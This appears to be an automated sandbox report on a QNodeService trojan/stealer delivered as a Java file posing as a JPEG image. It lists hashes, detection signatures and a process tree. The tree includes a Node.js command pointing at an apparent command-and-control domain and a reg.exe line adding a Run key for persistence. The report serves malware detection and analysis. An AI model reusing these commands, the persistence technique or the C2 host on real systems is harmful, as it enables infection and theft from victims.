Analysis

  • max time kernel
    124s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    27-10-2020 10:22

General

  • Target

    Image_0076643387005313_JPEG.jar

  • Size

    72KB

  • MD5

    acbf2c54168796646a4f50d697f5b739

  • SHA1

    a763accf3db141b6407630e6f7b070ef585d4048

  • SHA256

    c5be24f2b7855a0caad13979c9e1192f36cd121108b488a134d6db67c37c2c6d

  • SHA512

    3f1bbe41c8f09dd3d453c2029239b8553d246071da83bfb69c1e84d45bbd1a3806116032f840445de42f98478bfdf60bad053af355396dca9c0b6f84835ab653

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\Image_0076643387005313_JPEG.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3984
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\817de47a.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3736
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums330.hopto.org
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2160
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_N2o2ni\boot.js --hub-domain ntums330.hopto.org
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3132
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_N2o2ni\boot.js --hub-domain ntums330.hopto.org
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1520
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c5d9954a-4ad5-4dcc-bc91-357a815c597d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1956
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c5d9954a-4ad5-4dcc-bc91-357a815c597d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:1356

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1520-178-0x000001609BFC0000-0x000001609BFC1000-memory.dmp

    Filesize

    4KB

  • memory/2160-171-0x000003EE4F100000-0x000003EE4F101000-memory.dmp

    Filesize

    4KB

  • memory/3132-174-0x000000564AC40000-0x000000564AC41000-memory.dmp

    Filesize

    4KB